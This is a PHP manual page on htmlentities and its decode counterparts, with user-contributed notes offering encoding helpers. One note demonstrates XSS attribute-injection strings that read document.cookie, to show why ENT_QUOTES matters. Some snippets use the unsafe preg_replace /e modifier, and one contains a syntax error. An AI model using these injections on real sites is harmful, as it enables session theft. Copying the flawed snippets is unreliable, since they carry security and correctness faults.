This is a safe rawurldecode with utf8 detection:

<?php
function utf8_rawurldecode($raw_url_encoded){
    $enc = rawurldecode($raw_url_encoded);
    if(utf8_encode(utf8_decode($enc))==$enc){;
        return rawurldecode($raw_url_encoded);
    }else{
        return utf8_encode(rawurldecode($raw_url_encoded));
    }
}
?>
Free at Key dot no 01-Jul-2010 05:51
Handy function to convert remaining HTML-entities into human readable chars (for entities which do not exist in target charset):

<?php
function cleanString($in,$offset=null)
{
    $out = trim($in);
    if (!empty($out))
    {
        $entity_start = strpos($out,'&',$offset);
        if ($entity_start === false)
        {
            // ideal
            return $out;
        }
        else
        {
            $entity_end = strpos($out,';',$entity_start);
            if ($entity_end === false)
            {
                 return $out;
            }
            // zu lang um eine entity zu sein
            else if ($entity_end > $entity_start+7)
            {
                 // und weiter gehts
                 $out = cleanString($out,$entity_start+1);
            }
            // gottcha!
            else
            {
                 $clean = substr($out,0,$entity_start);
                 $subst = substr($out,$entity_start+1,1);
                 // &scaron; => "s" / &#353; => "_"
                 $clean .= ($subst != "#") ? $subst : "_";
                 $clean .= substr($out,$entity_end+1);
                 // und weiter gehts
                 $out = cleanString($clean,$entity_start+1);
            }
        }
    }
    return $out;
}
?>
Matt Robinson 06-Sep-2009 02:11
I wrote in a previous comment that html_entity_decode() only handled about 100 characters. That's not quite true; it only handles entities that exist in the output character set (the third argument). If you want to get ALL HTML entities, make sure you use ENT_QUOTES and set the third argument to 'UTF-8'.

If you don't want a UTF-8 string, you'll need to convert it afterward with something like utf8_decode(), iconv(), or mb_convert_encoding().

If you're producing XML, which doesn't recognise most HTML entities:

When producing a UTF-8 document (the default), then htmlspecialchars(html_entity_decode($string, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES, 'UTF-8') (because you only need to escape < and > and & unless you're printing inside the XML tags themselves).

Otherwise, either convert all the named entities to numeric ones, or declare the named entities in the document's DTD. The full list of 252 entities can be found in the HTML 4.01 Spec, or you can cut and paste the function from my site (http://inanimatt.com/php-convert-entities.php).
marion at figmentthinking dot com 10-Mar-2009 05:11
I just ran into the:
Bug #27626 html_entity_decode bug - cannot yet handle MBCS in html_entity_decode()!

The simple solution if you're still running PHP 4 is to wrap the html_entity_decode() function with the utf8_decode() function.

<?php
$string = '&nbsp;';
$utf8_encode = utf8_encode(html_entity_decode($string));
?>

By default html_entity_decode() returns the ISO-8859-1 character set, and by default utf8_decode()...

http://us.php.net/manual/en/function.utf8-decode.php
"Converts a string with ISO-8859-1 characters encoded with UTF-8 to single-byte ISO-8859-1"
jl dot garcia at gmail dot com 04-Mar-2009 03:33
I created this function to filter all the text that goes in or comes out of the database.

<?php
function filter_string($string, $nohtml='', $save='') {
    if(!empty($nohtml)) {
        $string = trim($string);
        if(!empty($save)) $string = htmlentities(trim($string), ENT_QUOTES, 'ISO-8859-15');
        else $string = html_entity_decode($string, ENT_QUOTES, 'ISO-8859-15');
    }
    if(!empty($save)) $string = mysql_real_escape_string($string);
    else $string = stripslashes($string);
    return($string);
}
?>
kae at verens dot com 09-May-2008 06:11
the references to 'chr()' in the example unhtmlentities() function should be changed to unichr, using the example unichr() function described in the 'chr' reference (http://php.net/chr).

the reason for this is characters such as &#x20AC; which do not break down into an ASCII number (that's the Euro, by the way).
me at richardsnazell dot com 21-Jan-2008 04:19
I had a problem getting the 'TM' trademark symbol to display correctly in an email subject line. Using html_entity_decode() with different charsets didn't work, but directly replacing the entity with it's ASCII equivalent did:

$subject = str_replace('&trade;', chr(153), $subject);
jojo 03-Nov-2006 08:27
The decipherment does the character encoded by the escape function of JavaScript.
When the multi byte is used on the page, it is effective.

javascript escape('aaああaa') ..... 'aa%u3042%u3042aa'
php  jsEscape_decode('aa%u3042%u3042aa')..'aaああaa'

<?php
function jsEscape_decode($jsEscaped,$outCharCode='SJIS'){
    $arrMojis = explode("%u",$jsEscaped);
    for ($i = 1;$i < count($arrMojis);$i++){
        $c = substr($arrMojis[$i],0,4);
        $cc = mb_convert_encoding(pack('H*',$c),$outCharCode,'UTF-16');
        $arrMojis[$i] = substr_replace($arrMojis[$i],$cc,0,4);
    }
    return implode('',$arrMojis);
}
?>
grvg (at) free (dot) fr 29-Jul-2006 09:44
Here is the ultimate functions to convert HTML entities to UTF-8 :
The main function is htmlentities2utf8
Others are helper functions

<?php
function chr_utf8($code)
    {
        if ($code < 0) return false;
        elseif ($code < 128) return chr($code);
        elseif ($code < 160) // Remove Windows Illegals Cars
        {
            if ($code==128) $code=8364;
            elseif ($code==129) $code=160; // not affected
            elseif ($code==130) $code=8218;
            elseif ($code==131) $code=402;
            elseif ($code==132) $code=8222;
            elseif ($code==133) $code=8230;
            elseif ($code==134) $code=8224;
            elseif ($code==135) $code=8225;
            elseif ($code==136) $code=710;
            elseif ($code==137) $code=8240;
            elseif ($code==138) $code=352;
            elseif ($code==139) $code=8249;
            elseif ($code==140) $code=338;
            elseif ($code==141) $code=160; // not affected
            elseif ($code==142) $code=381;
            elseif ($code==143) $code=160; // not affected
            elseif ($code==144) $code=160; // not affected
            elseif ($code==145) $code=8216;
            elseif ($code==146) $code=8217;
            elseif ($code==147) $code=8220;
            elseif ($code==148) $code=8221;
            elseif ($code==149) $code=8226;
            elseif ($code==150) $code=8211;
            elseif ($code==151) $code=8212;
            elseif ($code==152) $code=732;
            elseif ($code==153) $code=8482;
            elseif ($code==154) $code=353;
            elseif ($code==155) $code=8250;
            elseif ($code==156) $code=339;
            elseif ($code==157) $code=160; // not affected
            elseif ($code==158) $code=382;
            elseif ($code==159) $code=376;
        }
        if ($code < 2048) return chr(192 | ($code >> 6)) . chr(128 | ($code & 63));
        elseif ($code < 65536) return chr(224 | ($code >> 12)) . chr(128 | (($code >> 6) & 63)) . chr(128 | ($code & 63));
        else return chr(240 | ($code >> 18)) . chr(128 | (($code >> 12) & 63)) . chr(128 | (($code >> 6) & 63)) . chr(128 | ($code & 63));
    }

    // Callback for preg_replace_callback('~&(#(x?))?([^;]+);~', 'html_entity_replace', $str);
    function html_entity_replace($matches)
    {
        if ($matches[2])
        {
            return chr_utf8(hexdec($matches[3]));
        } elseif ($matches[1])
        {
            return chr_utf8($matches[3]);
        }
        switch ($matches[3])
        {
            case "nbsp": return chr_utf8(160);
            case "iexcl": return chr_utf8(161);
            case "cent": return chr_utf8(162);
            case "pound": return chr_utf8(163);
            case "curren": return chr_utf8(164);
            case "yen": return chr_utf8(165);
            //... etc with all named HTML entities
        }
        return false;
    }

    function htmlentities2utf8 ($string) // because of the html_entity_decode() bug with UTF-8
    {
        $string = preg_replace_callback('~&(#(x?))?([^;]+);~', 'html_entity_replace', $string);
        return $string;
    }
?>
florianborn (at) yahoo (dot) de 20-Jul-2005 03:43
Note that

<?php

 echo urlencode(html_entity_decode("&nbsp;"));

?>

will output "%A0" instead of "+".
php dot net at c dash ovidiu dot tk 18-Mar-2005 12:37
Quick & dirty code that translates numeric entities to UTF-8.

<?php

    function replace_num_entity($ord)
    {
        $ord = $ord[1];
        if (preg_match('/^x([0-9a-f]+)$/i', $ord, $match))
        {
            $ord = hexdec($match[1]);
        }
        else
        {
            $ord = intval($ord);
        }

        $no_bytes = 0;
        $byte = array();

        if ($ord < 128)
        {
            return chr($ord);
        }
        elseif ($ord < 2048)
        {
            $no_bytes = 2;
        }
        elseif ($ord < 65536)
        {
            $no_bytes = 3;
        }
        elseif ($ord < 1114112)
        {
            $no_bytes = 4;
        }
        else
        {
            return;
        }

        switch($no_bytes)
        {
            case 2:
            {
                $prefix = array(31, 192);
                break;
            }
            case 3:
            {
                $prefix = array(15, 224);
                break;
            }
            case 4:
            {
                $prefix = array(7, 240);
            }
        }

        for ($i = 0; $i < $no_bytes; $i++)
        {
            $byte[$no_bytes - $i - 1] = (($ord & (63 * pow(2, 6 * $i))) / pow(2, 6 * $i)) & 63 | 128;
        }

        $byte[0] = ($byte[0] & $prefix[0]) | $prefix[1];

        $ret = '';
        for ($i = 0; $i < $no_bytes; $i++)
        {
            $ret .= chr($byte[$i]);
        }

        return $ret;
    }

    $test = 'This is a &#269;&#x5d0; test&#39;';

    echo $test . "<br />\n";
    echo preg_replace_callback('/&#([0-9a-fx]+);/mi', 'replace_num_entity', $test);

?>
daniel at brightbyte dot de 13-Nov-2004 06:12
This function seems to have to have two limitations (at least in PHP 4.3.8):

a) it does not work with multibyte character codings, such as UTF-8
b) it does not decode numeric entity references

a) can be solved by using iconv to convert to ISO-8859-1, then decoding the entities, than convert to UTF-8 again. But that's quite ugly and detroys all characters not present in Latin-1.

b) can be solved rather nicely using the following code:

<?php
function decode_entities($text) {
    $text= html_entity_decode($text,ENT_QUOTES,"ISO-8859-1"); #NOTE: UTF-8 does not work!
    $text= preg_replace('/&#(\d+);/me',"chr(\\1)",$text); #decimal notation
    $text= preg_replace('/&#x([a-f0-9]+);/mei',"chr(0x\\1)",$text);  #hex notation
    return $text;
}
?>

HTH
aidan at php dot net 14-Sep-2004 12:57
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


将字符转换为 HTML 转义字符

  • ? html_entity_decode
  • htmlspecialchars_decode ?
  • PHP Manual
  • 字符串 函数
  • 将字符转换为 HTML 转义字符

htmlentities

(PHP 4, PHP 5, PHP 7, PHP 8)

htmlentities — 将字符转换为 HTML 转义字符

说明

htmlentities(
string $string,
int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401,
?string $encoding = null,
bool $double_encode = true
): string

本函数各方面都和 htmlspecialchars() 一样，除了 htmlentities() 会转换所有具有 HTML 实体的字符。get_html_translation_table() 可根据提供的 flags 常量返回使用的翻译表。

如果要解码（反向操作），可以使用 html_entity_decode()。

参数

string

输入字符。

flags

以下一组位掩码标记，用于设置如何处理引号、无效代码序列、使用文档的类型。默认是 ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401。

有效 flags 标记常量
常量名 | 描述
ENT_COMPAT | 会转换双引号，不转换单引号。
ENT_QUOTES | 既转换双引号也转换单引号。
ENT_NOQUOTES | 单/双引号都不转换
ENT_IGNORE | 静默丢弃无效的代码单元序列，而不是返回空字符串。 不建议使用此标记， 因为它» 可能有安全影响。
ENT_SUBSTITUTE | 替换无效的代码单元序列为 Unicode 代替符（Replacement Character）， U+FFFD (UTF-8) 或者 &#xFFFD; (其他)，而不是返回空字符串。
ENT_DISALLOWED | 为文档的无效代码点替换为 Unicode 代替符（Replacement Character）： U+FFFD (UTF-8)，或 &#xFFFD;（其他），而不是把它们留在原处。 比如以下情况下就很有用：要保证 XML 文档嵌入额外内容时格式合法。
ENT_HTML401 | 以 HTML 4.01 处理代码。
ENT_XML1 | 以 XML 1 处理代码。
ENT_XHTML | 以 XHTML 处理代码。
ENT_HTML5 | 以 HTML 5 处理代码。

encoding

An optional argument defining the encoding used when converting characters.

If omitted, encoding defaults to the value of the default_charset configuration option.

Although this argument is technically optional, you are highly encouraged to specify the correct value for your code if the default_charset configuration option may be set incorrectly for the given input.

支持以下字符集：

支持的字符集列表
字符集 | 别名 | 描述
ISO-8859-1 | ISO8859-1 | 西欧，Latin-1
ISO-8859-5 | ISO8859-5 | Little used cyrillic charset (Latin/Cyrillic).
ISO-8859-15 | ISO8859-15 | 西欧，Latin-9。增加欧元符号，法语和芬兰语字母在 Latin-1(ISO-8859-1) 中缺失。
UTF-8 | ASCII 兼容的多字节 8 位 Unicode。
cp866 | ibm866, 866 | DOS 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1251 | Windows-1251, win-1251, 1251 | Windows 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1252 | Windows-1252, 1252 | Windows 特有的西欧编码。
KOI8-R | koi8-ru, koi8r | 俄语。本字符集在 4.3.2 版本中得到支持。
BIG5 | 950 | 繁体中文，主要用于中国台湾省。
GB2312 | 936 | 简体中文，中国国家标准字符集。
BIG5-HKSCS | 繁体中文，附带香港扩展的 Big5 字符集。
Shift_JIS | SJIS, 932 | 日语
EUC-JP | EUCJP | 日语
MacRoman | Mac OS 使用的字符串。
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: 其他字符集没有认可。将会使用默认编码并抛出异常。

double_encode

关闭 double_encode 时，PHP 不会转换现有的 HTML 实体， 默认是全部转换。

返回值

返回编码后的字符。

如果指定的编码 encoding 里， string 包含了无效的代码单元序列， 没有设置 ENT_IGNORE 或者 ENT_SUBSTITUTE 标记的情况下，会返回空字符串。

更新日志

版本 | 说明
8.1.0 | flags 从 ENT_COMPAT 变更为 ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401。
8.0.0 | encoding 现在可以为 null。

示例

Example #1 htmlentities() 例子

<?php
$str = "A 'quote' is <b>bold</b>";

// 输出: A 'quote' is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str);

// 输出: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str, ENT_QUOTES);
?>

Example #2 ENT_IGNORE 用法示例

<?php
$str = "\x8F!!!";

// 输出空 string
echo htmlentities($str, ENT_QUOTES, "UTF-8");

// 输出 "!!!"
echo htmlentities($str, ENT_QUOTES | ENT_IGNORE, "UTF-8");
?>

参见

  • html_entity_decode() - Convert HTML entities to their corresponding characters
  • get_html_translation_table() - 返回使用 htmlspecialchars 和 htmlentities 后的转换表
  • htmlspecialchars() - 将特殊字符转换为 HTML 实体
  • nl2br() - 在字符串所有新行之前插入 HTML 换行标记
  • urlencode() - 编码 URL 字符串

User Contributed Notes

j2teamnnl at gmail dot com 04-May-2022 09:31
The answer above is not correct for multiple languages like France
I had correct it
function xml_entities($strIn)
    {
        if (is_numeric($strIn)) {
            return $strIn;
        }
        $strOut = null;

        $arrStr = mb_str_split($strIn);
        foreach ($arrStr as $char) {
            $ord = mb_ord($char);

            if (($ord > 0 && $ord < 32) || ($ord >= 127)) {
                $strOut .= "&amp;#{$ord};";
            }
            else {
                switch ($char) {
                    case '<':
                        $strOut .= '&lt;';
                        break;
                    case '>':
                        $strOut .= '&gt;';
                        break;
                    case '&':
                        $strOut .= '&amp;';
                        break;
                    case '"':
                        $strOut .= '&quot;';
                        break;
                    default:
                        $strOut .= $char;
                }
            }
        }

        return $strOut;
    }
2962051004 at qq dot com 03-Oct-2018 04:09
<?php

/**
 * 将中文转为Html实体
 * Convert Chinese in HTML to entity
 * Author QiangGe
 * Mail 2962051004@qq.com
 *
*/

$str = <<<EOT
你好 world
EOT;

function ChineseToEntity($str) {
 return preg_replace_callback(
        '/[\x{4e00}-\x{9fa5}]/u', // utf-8
        // '/[\x7f-\xff]+/', // if gb2312
        function ($matches) {
            $json = json_encode(array($matches[0]));
            preg_match('/\[\"(.*)\"\]/', $json, $arr);
            /*
             * 通过json_encode函数将中文转为unicode
             * 然后用正则取出unicode
             * Turn the Chinese into Unicode through the json_encode function, then extract Unicode from regular.
             * I think this idea is seamless.
            */
            return '&#x'. str_replace('\\u', '', $arr[1]). ';';
        }, $str
   );
}

echo ChineseToEntity($str);
// &#x4f60;&#x597d; world
Jeff 01-Jun-2018 01:25
There is a feature when writing to XML using an AJAX call to PHP that rarely is mentioned. I struggled for many hours using htmlentities() because what was getting written to my XML document was not as expected. I naturally assumed that I should be converting my strings before writing them to XML to adhere to XML rules on illegal characters. To my surprise, when converting with htmlentities() or htmlspecialchars() and then writing to an XML file, the resulting ampersands get converted afterwards! Consider the following example:

<?php
$str = "<b>I am cool</b>" ;
$str = htmlentities($str) ;
?>

When you append $str to an XML element and save() the document, you would expect the XML document's source code to look something like this:

<ele>&lt;b&gt;I am cool&lt;/b&gt;</ele>

But that is not what happens. The resulting ampersands get converted by PHP automatically to &amp; and your source code ends up looking like this:

<ele>&amp;lt;b&amp;gt;I am cool&amp;lt;/b&amp;gt;</ele>

As you can see, this creates problems when trying to output the XML data back to HTML. It is important to remember that when writing to XML this way, special characters like ">" and "<"; PHP converts them automatically and there becomes no need to use htmlentities() in certain cases. I assume this feature is in place to aid with passing data through header queries, to avoid reserved characters conflicting with others in a header query (e.g. & or =). Now I understand this may not be the case with older versions of PHP and that this might be a feature of my version (PHP version 5.6.32). With older versions, I assume using htmlentities() or htmlspecialchars() is a must, as stated with previous notes here. Also I use the charset UTF-8 in my HTML and XML and am not sure if this also effects the results I get.

Anyway, I struggled for many hours with using htmlentities() to convert strings for XML writing and saving, when all I had to do was simply not use the function and let PHP convert my strings for me. I hope this helps because I would think I am not the only one who has struggled with this situation.
chris at ocproducts dot com 10-Apr-2017 01:10
This function throws a warning on bad input even if ENT_SUBSTITUTE is set, so be prepared for this.
hajo-p 05-Jan-2014 05:18
The flag ENT_HTML5 also strips newline chars like \n with htmlentities while htmlspecialchars is not affected by that.

If you want to use nl2br on that string afterwards you might end up searching the problem like i did. This does not apply to other flags like e.g. ENT_XHTML which confused me.

Tested this with PHP 5.4 / 5.5 / 5.6-dev with same results, so it seems that this is an intended "feature".
ustimenko dot alexander at gmail dot com 09-Apr-2012 02:15
For those Spanish (and not only) folks, that want their national letters back after htmlentities :)

<?php
protected function _decodeAccented($encodedValue, $options = array()) {
    $options += array(
        'quote'     => ENT_NOQUOTES,
        'encoding'  => 'UTF-8',
    );
    return preg_replace_callback(
        '/&\w(acute|uml|tilde);/',
        create_function(
            '$m',
            'return html_entity_decode($m[0], ' . $options['quote'] . ', "' .
            $options['encoding'] . '");'
        ),
        $encodedValue
    );
}
?>
n at erui dot eu 20-Mar-2012 12:46
html entities does not encode all unicode characters. It encodes what it can [all of latin1], and the others slip through. &#1033; is the nasty I use. I have searched for a function which encodes everything, but in the end I wrote this. This is as simple as I can get it. Consult an ansii table to custom include/omit chars you want/don't. I'm sure it's not that fast.

// Unicode-proof htmlentities.
// Returns 'normal' chars as chars and weirdos as numeric html entites.
function superentities( $str ){
    // get rid of existing entities else double-escape
    $str = html_entity_decode(stripslashes($str),ENT_QUOTES,'UTF-8');
    $ar = preg_split('/(?<!^)(?!$)/u', $str );  // return array of every multi-byte character
    foreach ($ar as $c){
        $o = ord($c);
        if ( (strlen($c) > 1) || /* multi-byte [unicode] */
            ($o <32 || $o > 126) || /* <- control / latin weirdos -> */
            ($o >33 && $o < 40) ||/* quotes + ambersand */
            ($o >59 && $o < 63) /* html */
        ) {
            // convert to numeric entity
            $c = mb_encode_numericentity($c,array (0x0, 0xffff, 0, 0xffff), 'UTF-8');
        }
        $str2 .= $c;
    }
    return $str2;
}
wd at NOSPAMwd dot it 19-Dec-2011 02:20
Hi there,

after several and several tests, I figured out that dot:

- htmlentities() function remove characters like "à","è",etc when you specify a flag and a charset

- htmlentities() function DOES NOT remove characters like those above when you DO NOT specify anything

So, let's assume that..

<?php

$str = "Hèèèllooo";

$res_1 = htmlentities($str, ENT_QUOTES, "UTF-8");
$res_2 = htmlentities($str);

echo var_dump($res_1); // Result: string '' (length=0)
echo var_dump($res_2); // string 'H&egrave;&egrave;&egrave;llooo' (length=30)

?>

I used this for a textarea content for comments. Anyway, note that using the "$res_2" form the function will leave unconverted single/double quotes. At this point you should use str_replace() function to perform the characters but be careful because..

<?php

$str = "'Hèèèllooo'";

$res_2 = str_replace("'","&#039;",$str);
$res_2 = htmlentities($str);
echo var_dump($res_2); // string '&amp;#039;H&egrave;&egrave;&egrave;llooo&amp;#039;'

$res_3 = htmlentities($str);
$res_3 = str_replace("'","&#039;",$res_3);
echo var_dump($res_3); // string '&#039;H&egrave;&egrave;&egrave;llooo&#039;' --> Nice
?>

Hope it will helps you.

Regards,
W.D.
steve at mcdragonsoftware dot com 16-Nov-2011 08:59
I'm glad 5.4 has xml support, but many of us are working with older installations, some of us still have to use PHP4. If you're like me you've been frustrated with trying to use htmlentites/htmlspecial chars with xml output. I was hoping to find an option to force numeric encoding, lacking that, I have written my own xmlencode function, which I now offer:

usage:

$string xmlencode( $string )

it will use htmlspecialchars for the valid xml entities amp, quote, lt, gt, (apos) and return the numeric entity for all other non alpha-numeric characters.

-------------------------------------------

<?php
if( !function_exists( 'xmlentities' ) ) {
    function xmlentities( $string ) {
        $not_in_list = "A-Z0-9a-z\s_-";
        return preg_replace_callback( "/[^{$not_in_list}]/" , 'get_xml_entity_at_index_0' , $string );
    }
    function get_xml_entity_at_index_0( $CHAR ) {
        if( !is_string( $CHAR[0] ) || ( strlen( $CHAR[0] ) > 1 ) ) {
            die( "function: 'get_xml_entity_at_index_0' requires data type: 'char' (single character). '{$CHAR[0]}' does not match this type." );
        }
        switch( $CHAR[0] ) {
            case "'":    case '"':    case '&':    case '<':    case '>':
                return htmlspecialchars( $CHAR[0], ENT_QUOTES );    break;
            default:
                return numeric_entity_4_char($CHAR[0]);                break;
        }
    }
    function numeric_entity_4_char( $char ) {
        return "&#".str_pad(ord($char), 3, '0', STR_PAD_LEFT).";";
    }
}
?>
Waygood 06-Jun-2011 02:09
When putting values inside comment tags <!-- --> you should replace -- with &#45;&#45; too, as this would end your tag and show the rest of the comment.
robin at robinwinslow dot co dot uk 15-Apr-2011 08:14
htmlentities seems to have changed at some point between version 5.1.6 and 5.3.3, such that it now returns an empty string for anything containing a pound sign:

$ php -v
PHP 5.1.6 (cli) (built: May 22 2008 09:08:44)
$ php -r "echo htmlentities('￡hello', null, 'utf-8');"
&pound;hello
$

$ php -v
PHP 5.3.3 (cli) (built: Aug 19 2010 12:07:49)
$ php -r "echo htmlentities('￡hello', null, 'utf-8');"
$

(Returns an empty string the second time)

Just a heads up.
admin at wapforum dot rs 24-Feb-2011 01:11
A useful little function to convert the symbols in the different inputs.
<?php
function ConvertSimbols($var, $ConvertQuotes = 0) {
if ($ConvertQuotes > 0) {
$var = htmlentities($var, ENT_NOQUOTES, 'UTF-8');
$var = str_replace('\"', '', $var);
$var = str_replace("\'", '', $var);
} else {
$var = htmlentities($var, ENT_QUOTES, 'UTF-8');
}
return $var;
}
?>

Usage with quotes for example message:

$message = ConvertSimbols($message);

Usage without quotes for example link:

$link = ConvertSimbols($link, 1);
drallen at cs dot uwaterloo dot ca 29-Sep-2010 04:11
A pointer to http://www.php.net/manual/en/function.mb-convert-encoding.php if your intention is to translate *all* characters in a charset to their corresponding HTML entities, not just named characters. Non-named characters will be replaced with HTML numeric encoding. eg:

$text = mb_convert_encoding($text, 'HTML-ENTITIES', "UTF-8");
h_guillaume at hotmail dot com 17-Sep-2010 01:14
I use this function to encode all the xml entities and also all the &something; that are not defined in xml like &trade;
You can also decode what you encode with my decode function.
My function works a little like the htmlentities.
You can also add other string to the array if you want to exclude them from the encoding.

<?php
function xml_entity_decode($text, $charset = 'Windows-1252'){
    // Double decode, so if the value was &amp;trade; it will become Trademark
    $text = html_entity_decode($text, ENT_COMPAT, $charset);
    $text = html_entity_decode($text, ENT_COMPAT, $charset);
    return $text;
}

function xml_entities($text, $charset = 'Windows-1252'){
     // Debug and Test
    // $text = "test &amp; &trade; &amp;trade; abc &reg; &amp;reg; &#45;";

    // First we encode html characters that are also invalid in xml
    $text = htmlentities($text, ENT_COMPAT, $charset, false);

    // XML character entity array from Wiki
    // Note: &apos; is useless in UTF-8 or in UTF-16
    $arr_xml_special_char = array("&quot;","&amp;","&apos;","&lt;","&gt;");

    // Building the regex string to exclude all strings with xml special char
    $arr_xml_special_char_regex = "(?";
    foreach($arr_xml_special_char as $key => $value){
        $arr_xml_special_char_regex .= "(?!$value)";
    }
    $arr_xml_special_char_regex .= ")";

    // Scan the array for &something_not_xml; syntax
    $pattern = "/$arr_xml_special_char_regex&([a-zA-Z0-9]+;)/";

    // Replace the &something_not_xml; with &amp;something_not_xml;
    $replacement = '&amp;${1}';
    return preg_replace($pattern, $replacement, $text);
}
?>
Sijmen Ruwhof 13-Sep-2010 12:18
An important note below about using this function to secure your application against Cross Site Scripting (XSS) vulnerabilities.

When printing user input in an attribute of an HTML tag, the default configuration of htmlEntities() doesn't protect you against XSS, when using single quotes to define the border of the tag's attribute-value. XSS is then possible by injecting a single quote:

<?php
$_GET['a'] = "#000' onload='alert(document.cookie)";
?>

XSS possible (insecure):

<?php
$href = htmlEntities($_GET['a']);
print "<body bgcolor='$href'>"; # results in: <body bgcolor='#000' onload='alert(document.cookie)'>
?>

Use the 'ENT_QUOTES' quote style option, to ensure no XSS is possible and your application is secure:

<?php
$href = htmlEntities($_GET['a'], ENT_QUOTES);
print "<body bgcolor='$href'>"; # results in: <body bgcolor='#000&#039; onload=&#039;alert(document.cookie)'>
?>

The 'ENT_QUOTES' option doesn't protect you against javascript evaluation in certain tag's attributes, like the 'href' attribute of the 'a' tag. When clicked on the link below, the given JavaScript will get executed:

<?php
$_GET['a'] = 'javascript:alert(document.cookie)';
$href = htmlEntities($_GET['a'], ENT_QUOTES);
print "<a href='$href'>link</a>"; # results in: <a href='javascript:alert(document.cookie)'>link</a>
?>
phil at lavin dot me dot uk 08-Apr-2010 08:34
The following will make a string completely safe for XML:

<?php
function philsXMLClean($strin) {
        $strout = null;

        for ($i = 0; $i < strlen($strin); $i++) {
                $ord = ord($strin[$i]);

                if (($ord > 0 && $ord < 32) || ($ord >= 127)) {
                        $strout .= "&amp;#{$ord};";
                }
                else {
                        switch ($strin[$i]) {
                                case '<':
                                        $strout .= '&lt;';
                                        break;
                                case '>':
                                        $strout .= '&gt;';
                                        break;
                                case '&':
                                        $strout .= '&amp;';
                                        break;
                                case '"':
                                        $strout .= '&quot;';
                                        break;
                                default:
                                        $strout .= $strin[$i];
                        }
                }
        }

        return $strout;
}
?>
Tom Walter 16-Oct-2008 07:14
Note that as of 5.2.5 it appears that if the input string contains a character that is not valid for the output encoding you've specified, then this function returns null.

You might expect it to just strip the invalid char, but it doesn't.

You can strip the chars yourself like so:

iconv('utf-8','utf-8',$str);

You can combine that with htmlentities also:

$str = htmlentities(iconv('UTF-8', 'UTF-8//IGNORE', $str, ENT_QUOTES, 'UTF-8');

Should give you a string with htmlentities encoded to utf-8, and any unsupported chars stripped.
za at byza dot it 15-Apr-2008 09:15
Trouble when using files with different charset?

htmlentities and html_entity_decode can be used to translate between charset!

Sample function:

<?php
function utf2latin($text) {
   $text=htmlentities($text,ENT_COMPAT,'UTF-8');
   return html_entity_decode($text,ENT_COMPAT,'ISO-8859-1');
}
?>
q (dot) rendeiro (at) gmail (dot) com 07-Mar-2007 04:41
I've seen lots of functions to convert all the entities, but I needed to do a fulltext search in a db field that had named entities instead of numeric entities (edited by tinymce), so I searched the tinymce source and found a string with the value->entity mapping. So, i wrote the following function to encode the user's query with named entities.

The string I used is different of the original, because i didn't want to convert ' or ". The string is too long, so I had to cut it. To get the original check TinyMCE source and search for nbsp or other entity ;)

<?php

$entities_unmatched = explode(',', '160,nbsp,161,iexcl,162,cent, [...] ');
$even = 1;
foreach($entities_unmatched as $c) {
    if($even) {
        $ord = $c;
    } else {
        $entities_table[$ord] = $c;
    }
    $even = 1 - $even;
}

function encode_named_entities($str) {
    global $entities_table;

    $encoded_str = '';
    for($i = 0; $i < strlen($str); $i++) {
        $ent = @$entities_table[ord($str{$i})];
        if($ent) {
            $encoded_str .= "&$ent;";
        } else {
            $encoded_str .= $str{$i};
        }
    }
    return $encoded_str;
}

?>
realcj at g mail dt com 06-Nov-2006 10:41
If you are building a loadvars page for Flash and have problems with special chars such as " & ", " ' " etc, you should escape them for flash:

Try trace(escape("&")); in flash' actionscript to see the escape code for &;

% = %25
& = %26
' = %27

<?php
function flashentities($string){
return str_replace(array("&","'"),array("%26","%27"),$string);
}
?>

Those are the two that concerned me. YMMV.
jake_mcmahon at hotmail dot com 29-Apr-2004 02:29
This fuction is particularly useful against XSS (cross-site-scripting-). XSS makes use of holes in code, whether it be in Javascript or PHP. XSS often, if not always, uses HTML entities to do its evil deeds, so this function in co-operation with your scripts (particularly search or submitting scripts) is a very useful tool in combatting "H4X0rz".
Bassie (: 05-Jan-2003 04:07
Note that you'll have use htmlentities() before any other function who'll edit text like nl2br().

If you use nl2br() first, the htmlentities() function will change < br > to &lt;br&gt;.


将特殊的 HTML 实体转换回普通字符

  • ? htmlentities
  • htmlspecialchars ?
  • PHP Manual
  • 字符串 函数
  • 将特殊的 HTML 实体转换回普通字符

htmlspecialchars_decode

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

htmlspecialchars_decode — 将特殊的 HTML 实体转换回普通字符

说明

htmlspecialchars_decode(string $string, int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401): string

此函数的作用和 htmlspecialchars() 刚好相反。它将特殊的HTML实体转换回普通字符。

被转换的实体有： &amp;， &quot; （没有设置ENT_NOQUOTES 时）, &#039; （设置了 ENT_QUOTES 时）， &lt; 以及&gt;。

参数

string

要解码的字符串

flags

用下列标记中的一个或多个作为一个位掩码，来指定如何处理引号和使用哪种文档类型。默认为 ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401。

有效的 flags 常量
常量名 | 说明
ENT_COMPAT | 转换双引号，不转换单引号。
ENT_QUOTES | 单引号和双引号都转换。
ENT_NOQUOTES | 单引号和双引号都不转换。
ENT_SUBSTITUTE | 使用 Unicode 替换符 U+FFFD (UTF-8) 或 &#xFFFD 替换无效的码区序列（code unit sequence）。而不是返回空字符串。
ENT_HTML401 | 作为HTML 4.01编码处理。
ENT_XML1 | 作为XML 1编码处理。
ENT_XHTML | 作为XHTML编码处理。
ENT_HTML5 | 作为HTML 5编码处理。

返回值

返回解码后的字符串。

更新日志

版本 | 说明
8.1.0 | flags 从 ENT_COMPAT 变更为ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401。

示例

Example #1 htmlspecialchars_decode() 示例

<?php
$str = "<p>this -&gt; &quot;</p>\n";

echo htmlspecialchars_decode($str);

// 注意，这里的引号不会被转换
echo htmlspecialchars_decode($str, ENT_NOQUOTES);
?>

以上示例会输出：

<p>this -> "</p>
